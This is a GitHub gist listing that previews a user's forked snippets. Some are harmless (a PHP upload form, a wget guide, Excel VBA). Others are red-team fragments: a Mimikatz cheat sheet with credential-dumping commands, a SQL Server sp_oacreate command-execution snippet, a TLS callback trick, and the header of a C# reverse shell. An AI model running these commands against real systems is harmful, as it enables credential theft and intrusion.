Skip to content

Instantly share code, notes, and snippets.

@humble-desser
humble-desser / tls-callback.cpp
Created April 9, 2020 19:18 — forked from dennisfischer/tls-callback.cpp
TLS callback for x86 & x64 windows OS.
// @source: http://www.unknowncheats.me/forum/c-and-c/84146-tls-callback-tutorial.html
#include "windows.h"
#include <stdio.h>
void NTAPI __stdcall TLSCallbacks(PVOID DllHandle, DWORD dwReason, PVOID Reserved);
//linker spec
#ifdef _M_IX86
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")
#else
@humble-desser
humble-desser / upload.php
Created August 20, 2020 02:25 — forked from taterbase/upload.php
Simple file upload in php
<!DOCTYPE html>
<html>
<head>
<title>Upload your files</title>
</head>
<body>
<form enctype="multipart/form-data" action="upload.php" method="POST">
<p>Upload your file</p>
<input type="file" name="uploaded_file"></input><br />
<input type="submit" value="Upload"></input>
@humble-desser
humble-desser / svcstartstop.ps1
Created August 26, 2020 23:27 — forked from djhohnstein/svcstartstop.ps1
Gist to start and stop services in a "fine-grained" manner
$services = Get-Service | % { $_.Name }
ForEach($service in $services)
{
Write-Host "Stopping $service"
sc.exe stop $service
Write-Host "Hit any key to start $service"
Read-Host
sc.exe start $service
}
@humble-desser
humble-desser / Simple_Rev_Shell.cs
Created August 27, 2020 02:03 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
@humble-desser
humble-desser / website-dl.md
Last active November 24, 2020 05:09 — forked from stvhwrd/website-dl.md
Download an entire website for offline use with wget. Internal inks will be corrected so that the entire downloaded site will work as it did online.

The best way to download a website for offline use, using wget

There are two ways - the first way is just one command run plainly in front of you; the second one runs in the background and in a different instance so you can get out of your ssh session and it will continue.

First make a folder to download the websites to and begin your downloading: (note if downloading www.SOME_WEBSITE.com, you will get a folder like this: /websitedl/www.SOME_WEBSITE.com/)


STEP 1:

#!/usr/bin/env python
# Rulz.py
# Author: Nick Landers (@monoxgas) - Silent Break Security
import os
import sys
import argparse
import re
import binascii
import codecs
-- Another shorter way of doing it
-- https://sofianehamlaoui.github.io/Security-Cheatsheets/databases/sqlserver/3-command-execution/
-- DECLARE @output INT
-- DECLARE @ProgramToRun VARCHAR(255)
-- SET @ProgramToRun = 'Run("calc.exe")'
-- EXEC sp_oacreate 'wScript.Shell', @output out
-- EXEC sp_oamethod @output, @ProgramToRun
-- EXEC sp_oadestroy @output
@humble-desser
humble-desser / Mimikatz-cheatsheet
Created March 25, 2021 17:35 — forked from insi2304/Mimikatz-cheatsheet
Mimikatz Cheat Sheet
#general
privilege::debug
log
log customlogfilename.log
#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full
@humble-desser
humble-desser / StringConcat.vbs
Created April 18, 2021 02:27 — forked from jakebathman/StringConcat.vbs
Concatenate a range of strings in Excel, using VBA From http://www.cpearson.com/excel/stringconcatenation.aspx
Function StringConcat(Sep As String, ParamArray Args()) As Variant
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' StringConcat
' By Chip Pearson, chip@cpearson.com, www.cpearson.com
' www.cpearson.com/Excel/stringconcatenation.aspx
' This function concatenates all the elements in the Args array,
' delimited by the Sep character, into a single string. This function
' can be used in an array formula. There is a VBA imposed limit that
' a string in a passed in array (e.g., calling this function from
' an array formula in a worksheet cell) must be less than 256 characters.
@humble-desser
humble-desser / create-msvcrt
Created June 3, 2021 04:03 — forked from SolomonSklash/create-msvcrt
Creating msvcrt.lib
# On Windows, within a VS developer prompt
# Dump the exports of msvcrt.dll
dumpbin.exe /exports C:\Windows\System32\msvcrt.dll > msvcrt.txt
# Copy msvcrt.txt to a Linux box
# Convert the file to Unix line endings
dos2unix msvcrt.txt